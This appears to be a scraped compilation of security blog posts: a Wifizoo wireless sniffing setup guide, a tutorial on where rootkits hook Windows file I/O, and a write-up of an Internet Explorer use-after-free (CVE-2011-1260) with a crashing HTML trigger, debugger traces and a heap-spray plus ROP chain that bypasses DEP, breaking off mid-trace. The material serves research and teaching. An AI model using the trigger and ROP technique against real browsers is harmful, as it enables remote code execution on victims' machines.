implementation is relatively obvious and uses well defined OS APIs**.** For
phase 1, the possibilites are endless and what you do ultimately depends on
the application you’re developing**.**

Related posts:

  1. How Django sessions work – introduction 

This entry was posted on Tuesday, November 5th, 2013 at 05:59 and is filed
under C / C++ , Code generation , Compilation **.** You can follow any
responses to this entry through the RSS 2**.** 0  feed**.** You can skip to
the end and leave a response**.** Pinging is currently not allowed**.**

****

# Episode85 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:30:23 PM_  
---|---  
**Updated:**| _8/5/2009 12:30:37 PM_  
**Author:**| __  
**Tags:**| _wifi packet-analysis pauldotcom_  
  

## Installation

You must have the following:

  * A wireless card \(I'm using an Ubiquiti Atheros card\)
  * Linux drivers that support monitor mode \(I'm using madwifi-ng on Debian Etch\)
  * Python & Scapy
  * Graphviz to generate the graphs

The initial setup in Debain:

1\) Install the kernel & madwifi sources and headers:

[code]

     aptitude install linux-source-2.6.18 madwifi-source linux-headers-$(uname -r) 
    
[/code]

2\) Setup kernel source directory and build madwifi:

[code]

    ln -s /usr/src/linux-source-2.6.18 /usr/src/linux
    cd /usr/src/modules/madwifi
    make
    make install
    modprobe ath_pci
    
    
[/code]

3\) Setup your card for monitor mode:

[code]

    wlanconfig ath create wlandev wifi0 wlanmode monitor
    
[/code]

This gave me an ath1 interface in monitor mode.

4\) Install kismet & tcpdump \(Wifizoo complained when I did not have
tcpdump\):

[code]

    aptitude install kismet
    
[/code]

5\) Get Wifizoo and "install":

[code]

    wget http://community.corest.com/~hochoa/wifizoo/wifizoo_v1.2.tgz
    tar zxvf wifizoo_v1.2.tgz 
    cd wifizoo_v1.2
    
    
[/code]

6\) You then need to modify the source to use the correct interface:

[code]

    vi wifizoo.py
    
    - conf.iface = 'rausb0'
    + conf.iface = 'ath1'
    
    
[/code]

7\) Configure Kismet and run it first\!

[code]

    vi /etc/kismet/kismet.conf
    
    source=madwifi_ag,wifi0,ubiquiti
    
    
[/code]

Note: Kismet is used to channel hop and I believe it talks directly to the
chipset, so even though ath1 is a different interface, the physical card
\(chipset\) is channel hopping so we can take advantage of it. Or, you could
use a channel hopping script.

8\) Run wifizoo:

[code]

    $ python wifizoo.py 
    WifiZoo v1.2, complains to Hernan Ochoa (hernan@gmail.com)
    Waiting...
    Launching Web Interface..
    WifiZoo Web GUI Serving HTTP on 127.0.0.1 port 8000 ...
    WifiZoo HTTP Proxy on 127.0.0.1 port 8080 ...
    
    
[/code]

  

# Touch My Malware: Ring3 / Ring0 Rootkit Hook Detection 1/2

**Created:**| _9/27/2013 10:04:17 AM_  
---|---  
**Updated:**| _9/27/2013 10:04:17 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis hooks_  
  

# **R** ing3 / Ring0 Rootkit Hook Detection 1/2****

##  Introduction****

The cybercrime underworld hasn't given me any exciting malware to reverse and
I'm running out of ideas for new posts, so I'm going to do a 2 part article
about the techniques used by rootkits to intercept function calls, and how to
detect them**.** The first part will explain some hooking methods, the second
part will explain how to detect them**.** As I haven't done any kernel mode
stuff on this blog, I will be looking at both user mode and kernel mode hooks
on a x86 windows system**.**

##  Execution Flow****

In order to get a better understanding of the attack surface, I've made a
simplified flow chart of a call to the WriteFile function in kernel32.dll**.**
This is just an example to highlight key points, I chose the WriteFile
function as it makes for a nice example, and disk I/O is commonly intercepted
by malware, however most of the stuff on this graph will apply to lots of
functions**.**

<img src='img/Temp2_8421.png' />  
---  
If you haven't realized you can click the image to make it bigger, this
article probably isn't for you**.**  
**\(1\)**

  * WriteFile is just a simple wrapper for NtWriteFile**.**
  * Can be hooked with inline, IAT or EAT hooks**.**
  * Hooking this function will intercept all calls to WriteFile in whichever process the hooks are placed**.**
  * All paths used inside kernel32 are generally Dos Paths \(C:\file.txt\)**.**

**\(2\)**

  * NtWriteFile is a small stub that sets the EAX register to a 32bit value \(I'll explain this value later\), then calls KiFastSystemCall**.**
  * Can be hooked with inline, IAT, or EAT hooks**.**
  * Hooking this function will intercept all calls to CreateFile, NtWriteFile or ZwWriteFile in whichever process the hooks are placed**.**
  * All paths used by ntdll file functions are generally NT Paths \(\**?****?** \C:\file.txt\).

**\(3\)**

  * KiFastSystemCall is a small stub that moves the stack pointer into the EDX register then executes the sysenter**.**
  * The stub is only 5 bytes in size and the last instruction \(RETN\) is pointed to by KiFastSystemCallRet, this only leaves 4 writable bytes \(not enough space for a near call/jmp\)**.** Furthermore, the address is hard-coded which makes IAT or EAT hooks impossible**.**
  * By hooking this function, the rootkit gains the ability to intercept all user mode calls to kernel functions**.**

**\(4\)**

  * The SYSENTER instruction is what transfers execution from user mode to kernel mode, in order to execute an kernel function**.** when the instruction is executed, the CPU sets the code segment to the content of the SYSENTER\_CS register, the stack pointer to the content of the SYSENTER\_ESP register, and the EIP to the content of the SYSENTER\_EIP register**.** The SYSENTER\_EIP register points to the KiFastCallEntry function ntoskrnl, as a result of this, the cpu will begin executing KiFastCallEntry**.**
  * These registers are known as MSRs \(Model Specific Register\), they are only readable by using the cpu instruction RDMSR \(Read MSR\) and writable using the WRMSR \(Write MSR\) instruction**.** These instructions are both privileged \(can only be executed from ring 0\) therefore, in order to hook, a kernel driver must be loaded**.**
  * By modifying the SYSENTER\_EIP, the rootkit gains the ability to intercept all user mode calls to kernel functions, but we cannot intercept any kernel mode calls, because only user mode call use SYENTER**.**

**\(5\)**

  * KiFastCallEntry is responsible for taking the 32bit value from the EAX register \(this is the value we mentioned in 2\)**.** The first 11 bits are the ordinal of the SSDT function to use \(SSDT\_Address+\(Ordinal\*4\)\), the 12th and 13th byte determine which SSDT to use, the rest of the bits are ignored**.** Once the function has worked out which SSDT to use, it calls the address at the given ordinal in the table**.**
  * Can be hooked with an inline hooks.
  * By hooking this function, the rootkit can intercept all user mode calls to kernel functions, as well as all kernel mode calls to functions starting with Zw, but not those starting with Nt**.**

**\(5.1\)**

  * Because the SSDT is a table of function pointers, it is also possible to hook calls by replacing the pointer within the SSDT**.** For every kernel function in ntdll, there is an equivalent pointer within the SSDT, therefore we can hook any function at will just by replacing the pointer**.** We are also able to hook all kernel mode calls to functions starting with Zw using this method, however, we cannot hook kernel mode calls to functions starting with Nt**.**

**\(6\)**

  * NtWriteFile...Again**.** We saw a call to NtWriteFile in 2, however that was just an ntdll.dll stub to enter into kernel mode, this is the actual NtWriteFile call pointed to by the address at the given SSDT ordinal**.**
  * NtWriteFile builds an IRP \(I/O Request packet\) and supplies it to IopSynchronousServiceTail, it also passes a device object associated with the file being written**.**
  * Can be hooked with an inline hook.
  * By hooking this function, the rootkit can intercept user mode and kernel mode calls to NtWriteFile and ZwWriteFile**.**

**\(7\)**

  * IopSynchronousServiceTail may only be used on certain versions of windows, it is just a simple wrapper for IofCallDriver, so I'll skip this**.**

**\(8\)**

  * IofCallDriver takes a device object pointer \(PDEVICE\_OBJECT\) and IRP pointer \(PIRP\) \(both supplied by NtWriteFile\)**.** The device object contains a pointer to the driver object of the driver associated with that device \(PDRIVER\_OBJECT\)**.** The driver object contains a member called "MajorFunction", this is an array of 28 driver defined function pointers \(a bit like an EAT or the SSDT\), Here is a full list of IRP major function names **.** IofCallDriver will call one of the IRP major functions, based on which one is specified by the "MajorFunction" member in the IO\_STACK\_LOCATION for the supplied IRP**.**  
  
In the case of file operations, the device object given by NtWriteFile will
nearly always be \filesystem\ntfs \(aka ntfs.sys\) or a filter device attached
to \FileSystem\Ntfs, because filter drivers pass on the call to the device
below below them until it gets to \FileSystem\Ntfs, we can assume the call
will always end up at \filesystem\ntfs unless one of the filter drivers
cancels it**.**

  * By hooking IofCallDriver, the rootkit can intercept practically any call to any driver**.** In order to only intercept calls to a certain driver, the rootkit can check the "DriverName" member pointed to by the driver object which is pointed to by the device object**.** Alternatively to intercept calls to a certain device, the rootkit could call ObQueryNameString on the device object \(It is important to note that not all devices have names\)**.** The rootkit can also filter only specific IRP major function calls, this is done by calling "IoGetCurrentIrpStackLocation" on the IRP pointer, then checking the "MajorFunction" member of the returned IO\_STACK\_LOCATION**.**

**\(9\)**

  * The IRP\_MJ\_WRITE function is responsible for writing files within the filesystem**.**
  * By attaching a filter device to the device stack of \FileSystem\Ntfs or by replacing an IRP major function pointer with one of its own, the rootkit can intercept any call to \FileSystem\Ntfs**.** In order to intercept NtWriteFile calls, the rootkit would need to inspect IRP\_MJ\_WRITE calls in the filter device, or replace the IRP\_MJ\_WRITE pointer in the driver object**.**

**\(10\)**

  * This refers to the volume and partition drivers that are used by \FileSystem\Ntfs, these are not normally targeted by rootkits, therefore i have left them out**.**
  * These drivers can be hooked in the same way as 9**.**

**\(11\)**

  * The NTFS filesystem uses the IRP\_MJ\_WRITE major function of the class driver "\Driver\Disk" aka disk.sys, in order to write a disk**.** Because \Driver\Disk is much lower level than the NTFS filesystem driver, there are no file name, instead it is only possible to work with LBAs \(Logical Block Addresses\)**.** Logical Block Addressing in a linear method of addressing the disk by sectors, each sector is usually 512, 1024, 2048, or 4096 bytes**.** The sector number starts at 0 \(Master Boot Record\) and goes up to whatever, depending on the size of the disk**.**
  * Hooking of drivers lower than ntfs.sys is usually only seen in kernel mode payload drivers used by bootkits**.** This is due to the fact that bootkits tend to only work with files outside of the NTFS filesystem, therefore not having to worry with translating file names to LBAs**.**

**\(12\)**

  * The disk subsystem refers to any driver\(s\) below disk.sys, generally this a port/miniport driver, which is a hardware or protocol specific driver**.** In most cases this will be atapi.sys or scsiport.sys which are for ATA and SCSI complaint disk devices**.**
  * At this level a new IRP major function is used, IRP\_MJ\_SCSI, which is an alias for IRP\_MJ\_INTERNAL\_DEVICE\_CONTROL**.** Here, the rootkit will have to work with SCSI\_REQUEST\_BLOCK parameters, which further complicates things compared to a disk.sys hook**.**
  * Any port/miniport hooks are usually only found in advanced kernel mode payload drivers used by bootkits**.**

##  Clarification****

<img src='img/Temp2_8422.png' />

  * The term "kernel function" refers to any function beginning with Nt or Zw**.** I call these kernel functions because the code resides in the kernel, for a user mode application to call one of these functions, it must enter the kernel via SYSENTER**.**
  * Only 1, 2, and 3 can be hooked from user mode, the rest require a kernel mode driver**.**
  * The reason hooks places at 5 and 5**.** 1 cannot intercept kernel mode calls to functions starting with Nt is due to how these functions work**.** Any function beginning with Nt, when called from kernel mode refers to the actual function within ntoskrnl**.** However, when a function beginning with Zw is called from kernel mode, it sets the EAX register to the same number that was set in 2, then it calls KiSystemService**.** KiSystemService falls into KiFastCallEntry, I use the word fall, because it does not call or jmp, KiFastCallEntry is at an an offset into KiSystemService, thus KiFastCallEntry is actually a part of the KiSystemService Function**.** If you are still confused, the above graph should help**.**
  * In user mode both Nt and Zw calls follow exactly the same path**.** Again, refer to the above graph if you are confused**.**
  * By hooking at a certain point in the flow chart, the rootkit is able to accept all calls to that point and from above it**.** In other words, by hooking at 3 the rootkit can intercept all successful calls made to 3, 2, and 1**.**
  * If while reading the kernel mode parts of this article, you are anywhere on the confused scale between "I'm not sure i get this" and "OMFGWTFBBQ", you probably need to read up on some windows kernel basics \(especially driver/device stacks, I/O request packets and IRP major functions\)**.**

##  Conclusion****

This is part 1 of a 2 part article, the next part will be coming soon and will
explain how to detect \(and possibly remove\) the hooks explained in this
article**.** If you have any questions or I've explained something badly,
leave a comment and I'll amend the article**.**

****

# d0c\_s4vage: Insecticides don't kill bugs, Patch Tuesdays do

**Created:**| _6/21/2011 9:06:03 AM_  
---|---  
**Updated:**| _6/21/2011 9:06:03 AM_  
**Author:**| __  
**Tags:**| _Microsoft bughunting_  
  

### Insecticides don't kill bugs, Patch Tuesdays do

Patch Tuesdays kill bugs. This post is about a bug that I had independently
found and written an exploit for that was killed last Tuesday with bulletin
MS11-050. I'm not sure which CVE this vulnerability has been assigned, all I
know is that \[UPDATE\] It's definitely CVE-2011-1260 - see Jose's \(of
spa-s3c.blogspot.com\) blog post about it \(he originally submitted it to ZDI
\(ZDI-11-194\) -> MS\). MS11-050 has fixed the vulnerability I was using to
achieve RCE on IE 7 and 8 \(6 and 9 are also affected, but I didn't make a
working exploit for them\). This blog post goes over some of the details of
the vulnerability, as well as the exploit that I've made for it. Note that all
examples in this post were made with IE 8.

### The Vuln

### What

The vuln is a use-after-free vulnerability in Internet Explorer. This occurs
when invalid mshtml\!CObjectElements are handled. When an invalid <object>
element exists in a web page that is covered by other visible html elements
\(due to their positioning or styles\), formats get computed on a previously-
freed mshtml\!CObjectElement. If other data has happened to be written over
where the object element used to be in memory, invalid values may be used when
the freed object is handled \(such as a vtable pointer\).  
  
A simple test case is below:

[code]

    <html>
        <body>
            <script language='javascript'>
                document.body.innerHTML += "<object align='right' hspace='1000'   width='1000'>TAG_1</object>";
                document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
                document.body.innerHTML += "AAAAAAA";
                document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
            </script>
        </body>
    </html>
    
[/code]

Loading this up in a vulnerable version of Internet Explorer should give you a
crash on an access violation like the one below:

[code]

    (170.5c8): Access violation - code c0000005 (!!! second chance !!!)
    eax=00000000 ebx=01e88df0 ecx=001f000d edx=00000000 esi=0162c2e8 edi=00000000
    eip=3cf76b82 esp=0162c2bc ebp=0162c2d4 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    mshtml!CElement::Doc+0x2:
    3cf76b82 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????
    
[/code]

The function it is crashing in is the mshtml\!CElement::Doc function:

[code]

    0:008> u mshtml!CElement::Doc
    mshtml!CElement::Doc:
    3cf76b80 8b01            mov     eax,dword ptr [ecx]
    3cf76b82 8b5070          mov     edx,dword ptr [eax+70h] <-- crashes here
    3cf76b85 ffd2            call    edx
    3cf76b87 8b400c          mov     eax,dword ptr [eax+0Ch]
    3cf76b8a c3              ret
    3cf76b8b 90              nop
    3cf76b8c 90              nop
    3cf76b8d 90              nop
    
[/code]

The backtrace should look like this:

[code]

    0:008> knL
     # ChildEBP RetAddr  
    00 0162c2b8 3cf14ae1 mshtml!CElement::Doc+0x2
    01 0162c2d4 3cf14d4a mshtml!CTreeNode::ComputeFormats+0xb9
    02 0162c580 3cf239fe mshtml!CTreeNode::ComputeFormatsHelper+0x44
    03 0162c590 3cf239be mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
    04 0162c5a0 3cf239a5 mshtml!CTreeNode::GetFancyFormatHelper+0xf
    05 0162c5b4 3d0a6d9f mshtml!CTreeNode::GetFancyFormat+0x35
    06 0162c5bc 3d0a6cfa mshtml!CLineCore::AO_GetFancyFormat+0x23
    07 0162c5f0 3cf69f34 mshtml!CRecalcLinePtr::RecalcMargins+0x19d
    08 0162cde8 3cfb98e4 mshtml!CDisplay::RecalcLines+0x6e4
    09 0162cec4 3cf25d39 mshtml!CDisplay::WaitForRecalc+0x208
    0a 0162cf14 3cf4938b mshtml!CFlowLayout::Notify+0x7d7
    0b 0162cf20 3cf4745e mshtml!NotifyElement+0x41
    0c 0162cf74 3cf473f5 mshtml!CMarkup::SendNotification+0x60
    0d 0162cf9c 3cf5254a mshtml!CMarkup::Notify+0xd4
    0e 0162cfe4 3cf256ea mshtml!CElement::SendNotification+0x4a
    0f 0162d008 3cef1318 mshtml!CElement::EnsureRecalcNotify+0x15f
    10 0162d084 3cef2461 mshtml!CDisplayPointer::MoveUnit+0x2b2
    11 0162d170 3cef22ce mshtml!CHTMLEditor::AdjustPointer+0x16f
    12 0162d1a4 3cef34ed mshtml!CEditTracker::AdjustPointerForInsert+0x8b
    13 0162d200 3cef3361 mshtml!CCaretTracker::PositionCaretAt+0x141
    
[/code]

Now that you know a little about the crash, you want to know more or less
what's going on, right? After some initial sleuthing, I set the breakpoints
below to print out the type of objects that were being allocated and freed by
printing out their vtable pointer.

[code]

    0:008> bl
     0 e 635a6811     0001 (0001)  0:**** mshtml!CreateElement+0x57 ".printf \"mshtml!CreateElement created element at %08x, of type: %08x\\n\", poi(ebp+10), poi(poi(ebp+10)); g"
     1 e 6362582e     0001 (0001)  0:**** mshtml!CTreeNode::Release+0x27 ".printf \"mshtml!CTreeNode::Release, freeing pointer to obj at %08x, obj at %08x, of type %08x\\n\", edx, poi(edx), poi(poi(edx)); g"
     2 e 635a3272     0001 (0001)  0:**** mshtml!CTreeNode::CTreeNode+0x8c ".printf \"mshtml!CTreeNode::CTreeNode allocated obj at %08x, ref to obj %08x of type %08x\\n\", eax, poi(eax), poi(poi(eax)); g"
    
[/code]

After setting the breakpoints and reloading the test case in Internet
Explorer, windbg should print out something like this:

[code]

     0:016> g
     ...
     mshtml!CTreeNode::CTreeNode allocated obj at 0023f220, ref to obj 001f7c50 of type 637666e0 <--- EBX (23f220)
     mshtml!CTreeNode::CTreeNode allocated obj at 0023f640, ref to obj 0021a1d8 of type 63630788
     mshtml!CTreeNode::CTreeNode allocated obj at 0023f6f0, ref to obj 02bba4f0 of type 6362fa90
     mshtml!CTreeNode::Release, freeing pointer to obj at 0023f278, obj at 00213e48, of type 635afad0
     mshtml!CTreeNode::Release, freeing pointer to obj at 0023f4e0, obj at 00218948, of type 635af850
     mshtml!CTreeNode::Release, freeing pointer to obj at 0023f380, obj at 002140b0, of type 635ba8c0
     mshtml!CTreeNode::Release, freeing pointer to obj at 0023f488, obj at 002185e8, of type 635af580
     mshtml!CTreeNode::Release, freeing pointer to obj at 0023f328, obj at 00218648, of type 635a21b0
     mshtml!CTreeNode::Release, freeing pointer to obj at 0023f118, obj at 0021a088, of type 635ad1f8
     mshtml!CTreeNode::CTreeNode allocated obj at 0023f118, ref to obj 00218618 of type 635a21b0
     mshtml!CTreeNode::CTreeNode allocated obj at 0023f488, ref to obj 00218588 of type 635af580
     mshtml!CTreeNode::CTreeNode allocated obj at 0023f380, ref to obj 00218408 of type 635af850
     mshtml!CTreeNode::CTreeNode allocated obj at 0023f4e0, ref to obj 00213b70 of type 635afad0
     mshtml!CTreeNode::CTreeNode allocated obj at 0023f278, ref to obj 00213e10 of type 635ba8c0
     mshtml!CTreeNode::Release, freeing pointer to obj at 0023f220, obj at 001f7c50, of type 637666e0 <--- EBX (23f220)
     mshtml!CTreeNode::Release, freeing pointer to obj at 0023f4e0, obj at 00213b70, of type 635afad0
     mshtml!CTreeNode::Release, freeing pointer to obj at 0023f380, obj at 00218408, of type 635af850
     mshtml!CTreeNode::Release, freeing pointer to obj at 0023f278, obj at 00213e10, of type 635ba8c0
     mshtml!CTreeNode::Release, freeing pointer to obj at 0023f488, obj at 00218588, of type 635af580
     mshtml!CTreeNode::Release, freeing pointer to obj at 0023f118, obj at 00218618, of type 635a21b0
     (d30.ab4): Access violation - code c0000005 (first chance)
     First chance exceptions are reported before any exception handling.
     This exception may be expected and handled.
     eax=00000000 ebx=0023f220 ecx=001f00bd edx=00000000 esi=020be380 edi=00000000 <--- EBX is 23f220
     eip=6363fcc6 esp=020be354 ebp=020be36c iopl=0         nv up ei pl zr na pe nc
     cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
     mshtml!CElement::Doc+0x2:
     6363fcc6 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????
    
[/code]

Now that we know the vtable pointer of the object \(637666e0\), a quick lookup
will tell us which object we are dealing with:

[code]

    0:008> ln 637666e0
    (637666e0)   mshtml!CObjectElement::`vftable'   |  (63639e88)   mshtml!CDummyUnknown::`vftable'
    Exact matches:
     mshtml!CObjectElement::`vftable' = <no type information>
    
[/code]

ebx in this instance is the pointer to the object that IE is calling the Doc
function on, eax then becomes the vtable pointer, and edx is supposed to be
the valid function on the CObjectElement that is supposed to be called:

[code]

    (.frame 1 - mshtml!CTreeNode::ComputeFormats+0xb)
    3cf14ada 8b0b            mov     ecx,dword ptr [ebx]     <-- ebx = pointer to a CObjectElement
                                                                 ecx = pointer to vtable
    3cf14adc e89f200600      call    mshtml!CElement::Doc (3cf76b80)
    ...
    (mshtml!CElement::Doc)
    3cf76b80 8b01            mov     eax,dword ptr [ecx]     <-- eax = CObjectElement vtable
    3cf76b82 8b5070          mov     edx,dword ptr [eax+70h] <-- edx = function (vtable+0x70)
    3cf76b85 ffd2            call    edx
    3cf76b87 8b400c          mov     eax,dword ptr [eax+0Ch]
    
[/code]

The function that was supposed to be called is the
mshtml\!CElement::SecurityContext function:

[code]

    0:008> x mshtml!CObjectElement*vftable*
    3d2db488 mshtml!CObjectElement::`vftable' = 
    0:008> ?  3d2db488+70
    Evaluate expression: 1026405624 = 3d2db4f8
    
    (memory @ 3d2db488 - pointer and symbol:)
    00 3d2db488 3cf93385 mshtml!CObjectElement::PrivateQueryInterface
    04 3d2db48c 3cf89f6d mshtml!CElement::PrivateAddRef
    08 3d2db490 3cf7e481 mshtml!CElement::PrivateRelease
    0c 3d2db494 3d2db6e9 mshtml!CObjectElement::`vector deleting destructor'
    10 3d2db498 3cebe591 mshtml!CSite::Init
    14 3d2db49c 3d2db72e mshtml!CObjectElement::Passivate
    18 3d2db4a0 3cf79975 mshtml!CBase::IsRootObject
    1c 3d2db4a4 3cf08e95 mshtml!CBase::EnumerateTrackedReferences
    20 3d2db4a8 3d1a9a42 mshtml!CBase::SetTrackedState
    24 3d2db4ac 3cf4581e mshtml!CElement::GetInlineStylePtr
    28 3d2db4b0 3cf2381f mshtml!CElement::GetRuntimeStylePtr
    2c 3d2db4b4 3d246af6 mshtml!CBase::VersionedGetIDsOfNames
    30 3d2db4b8 3d1cd70f mshtml!CElement::VersionedInvoke
    34 3d2db4bc 3d2def3c mshtml!COleSite::VersionedGetDispID
    38 3d2db4c0 3d2db832 mshtml!CObjectElement::VersionedInvokeEx
    3c 3d2db4c4 3d200dcb mshtml!CBase::VersionedDeleteMemberByName
    40 3d2db4c8 3d200e47 mshtml!CBase::VersionedDeleteMemberByDispID
    44 3d2db4cc 3cf41bde mshtml!CBase::VersionedGetNextDispID
    48 3d2db4d0 3d00deae mshtml!CBase::VersionedGetMemberName
    4c 3d2db4d4 3cf41bde mshtml!CBase::VersionedGetNextDispID
    50 3d2db4d8 3d246b45 mshtml!CBase::VersionedGetNameSpaceParent
    54 3d2db4dc 3d2011b2 mshtml!CBase::GetEnabled
    58 3d2db4e0 3d2011b2 mshtml!CBase::GetEnabled
    5c 3d2db4e4 3d2df38e mshtml!COleSite::GetPages
    60 3d2db4e8 3d2df340 mshtml!COleSite::InterfaceSupportsErrorInfo
    64 3d2db4ec 3d2de127 mshtml!CObjectElement::QueryStatus
    68 3d2db4f0 3d2de1a7 mshtml!CObjectElement::Exec
    6c 3d2db4f4 3cf492cc mshtml!CFlowLayout::IsFlowOrSelectLayout
    70 3d2db4f8 3cf76b50 mshtml!CElement::SecurityContext
[/code]

### Why

I noticed that if I comment out one of the tags in the test case \(to keep IE
from crashing\),

[code]

    <html>
        <body>
            <script language='javascript'>
                document.body.innerHTML += "<object align='right' hspace='1000'   width='1000'>TAG_1</object>";
                //document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
                document.body.innerHTML += "AAAAAAA";
                document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
            </script>
        </body>
    </html>
    
[/code]

and then go into the developer tools and look at the current state of the DOM,
the <object> element doesn't show up, probably because I never specified which
type of object it needs to be:  
  
<img src='img/ie_dom.png' />  
Knowing this, taking another look at the stacktrace of a crash should give us
the gist of the rest:

[code]

    0:008> k
    ChildEBP RetAddr  
    020be350 63602718 mshtml!CElement::Doc+0x2
    020be36c 636026a3 mshtml!CTreeNode::ComputeFormats+0xb9
    020be618 63612a85 mshtml!CTreeNode::ComputeFormatsHelper+0x44
    020be628 63612a45 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
    020be638 63612a2c mshtml!CTreeNode::GetFancyFormatHelper+0xf
    020be64c 637d29ab mshtml!CTreeNode::GetFancyFormat+0x35
    020be654 637d2906 mshtml!CLineCore::AO_GetFancyFormat+0x23
    020be688 63675c93 mshtml!CRecalcLinePtr::RecalcMargins+0x19d
    020bee80 6369985f mshtml!CDisplay::RecalcLines+0x6e4
    020bef5c 6361c037 mshtml!CDisplay::WaitForRecalc+0x208
    020befac 636514de mshtml!CFlowLayout::Notify+0x7d7
    020befb8 636017f2 mshtml!NotifyElement+0x41
    020bf00c 6365134f mshtml!CMarkup::SendNotification+0x60
    020bf034 63666bc1 mshtml!CMarkup::Notify+0xd4
    020bf07c 6361bf07 mshtml!CElement::SendNotification+0x4a
    020bf0a0 635d82b7 mshtml!CElement::EnsureRecalcNotify+0x15f
    020bf11c 635cc225 mshtml!CDisplayPointer::MoveUnit+0x2b2
    020bf208 635cc092 mshtml!CHTMLEditor::AdjustPointer+0x16f
    020bf23c 635cd2af mshtml!CEditTracker::AdjustPointerForInsert+0x8b
    020bf298 635cd123 mshtml!CCaretTracker::PositionCaretAt+0x141
    
[/code]

My guess of the overall flow of things leading up to the crash is that the
<object> element was initially added to some list of elements to be displayed.
The object element then gets deleted because it is invalid and has nothing to
display, but it isn't removed from the list. Something happens with the layout
where formats need to be recalculated, and IE tries to call a method on the
freed object, leading to the use-after-free.

### The Exploit

The basic plan for exploiting this vulnerability should be to cause the
<object> element to be freed, get data that we control to overwrite the freed
object, and then do something that would cause functions to be called on the
object element. Simple enough. The exploit for IE7 and IE8 with DEP disabled
involves your basic heap spray \(nops + shellcode\) and overwriting the
CObjectElement with 0c0c0c0cs. Once the mshtml\!CElement::Doc function is
called, code execution should go something like this:

[code]

    mshtml!CElement::Doc:
    3cf76b80 8b01            mov     eax,dword ptr [ecx]  ds:0023:147f00a7=0c0c0c0c
    3cf76b82 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=0c0c0c0c
    3cf76b85 ffd2            call    edx {<Unloaded_sspc.dll>+0xc0c0c0b (0c0c0c0c)} <-- (execute nops+shellcode)
    3cf76b87 8b400c          mov     eax,dword ptr [eax+0Ch]
    3cf76b8a c3              ret
    
[/code]

The exploit for IE8 with DEP enabled required a ROP payload: the
CObjectElement is overwritten with 0c0c0c0cs, a second heap-spray should land
the ROP stack at 0c0c0c0c, and a third heap-spray should land the nops +
shellcode at 0x23000000. Once everything is all setup, the ROP stack should be
found at 0c0c0c0c and should look like this:  

[code]

    0c0c0c0c 7c809af1 ; 1:kernel32!VirtualAlloc (first ret)
    0c0c0c10 7c901db3 ; 2:ntdll!memcpy (second ret)
    0c0c0c14 7f000000 ; 1:VirtualAlloc:lpAddress
    0c0c0c18 00004000 ; 1:VirtualAlloc:dwSize
    0c0c0c1c 00003000 ; 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE
    0c0c0c20 00000040 ; 1:VirtualAlloc:flProtect rwx
    0c0c0c24 7f001000 ; 3:nops+shellcode (third ret)
    0c0c0c28 7f001000 ; 2:memcpy:dst
    0c0c0c2c 23000100 ; 2:memcpy:src
    0c0c0c30 00002fff ; 2:memcpy:size
    0c0c0c34 be9e2688 ; random
    0c0c0c38 f285b61c ; random
    0c0c0c3c e8f23175 ; random
    0c0c0c40 6f2edb99 ; random
    0c0c0c44 bd93f4eb ; random
    0c0c0c48 527787a7 ; random
    0c0c0c4c 4991e07d ; random
    0c0c0c50 1513dcf2 ; random
    0c0c0c54 7b40bc07 ; random
    0c0c0c58 ba54da55 ; random
    0c0c0c5c 5177fafb ; random
    0c0c0c60 b1dfcf01 ; random
    0c0c0c64 6643baa9 ; random
    0c0c0c68 2136edc5 ; random
    0c0c0c6c 31fd6e6b ; random
    0c0c0c70 f4a9dcd0 ; random
    0c0c0c74 de2f62e1 ; random
    0c0c0c78 a19314eb ; random
    0c0c0c7c 773e3f18 ; comctl32!CImageList::_IsSameObject+0x40 ; stack pivot
    0c0c0c80 3825a2d7 ; random
    0c0c0c84 88f8a84d ; random
    0c0c0c88 0566b421 ; random
    
[/code]

Once the mshtml\!CElement::Doc function is called, code execution should look
like this:

[code]

    mshtml!CElement::Doc:
    3cf76b80 8b01            mov     eax,dword ptr [ecx]  ds:0023:35a00002=0c0c0c0c
    3cf76b82 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=773e3f18
    3cf76b85 ffd2            call    edx {comctl32!CImageList::_IsSameObject+0x40 (773e3f18)} ; stack pivot
[/code]

The first ROP gadget is a stack-pivot that exchanges esp with eax
\(0c0c0c0c\):

[code]

    0:007> u comctl32!CImageList::_IsSameObject+40 L?2
    comctl32!CImageList::_IsSameObject+0x40:
    773e3f18 94              xchg    eax,esp  ; esp is now 0c0c0c0c
    773e3f19 c3              ret              ; ret to kernel32!VirtualAlloc
[/code]

After the stack-pivot is called, the stack \(esp\) should be at 0c0c0c0c. When
the stack-pivot rets, it will ret into kernel32\!VirtualAlloc, after which the
ROP-stack should look like this:

[code]

    mem @ esp (rop stack):
    0c0c0c10 7c901db3 ; 2:ntdll!memcpy (second ret)
    0c0c0c14 7f000000 ; 1:VirtualAlloc:lpAddress
    0c0c0c18 00004000 ; 1:VirtualAlloc:dwSize
    0c0c0c1c 00003000 ; 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE
    0c0c0c20 00000040 ; 1:VirtualAlloc:flProtect rwx
    0c0c0c24 7f001000 ; 3:nops+shellcode (third ret)
    0c0c0c28 7f001000 ; 2:memcpy:dst
    0c0c0c2c 23000100 ; 2:memcpy:src
    0c0c0c30 00002fff ; 2:memcpy:size
[/code]

kernel32\!VirtualAlloc should then allocate 0x4000 read/write/execute bytes at
address 0x7f000000 and return to ntdll\!memcpy:

[code]

    kernel32!VirtualAlloc:
    7c809af1 8bff            mov     edi,edi
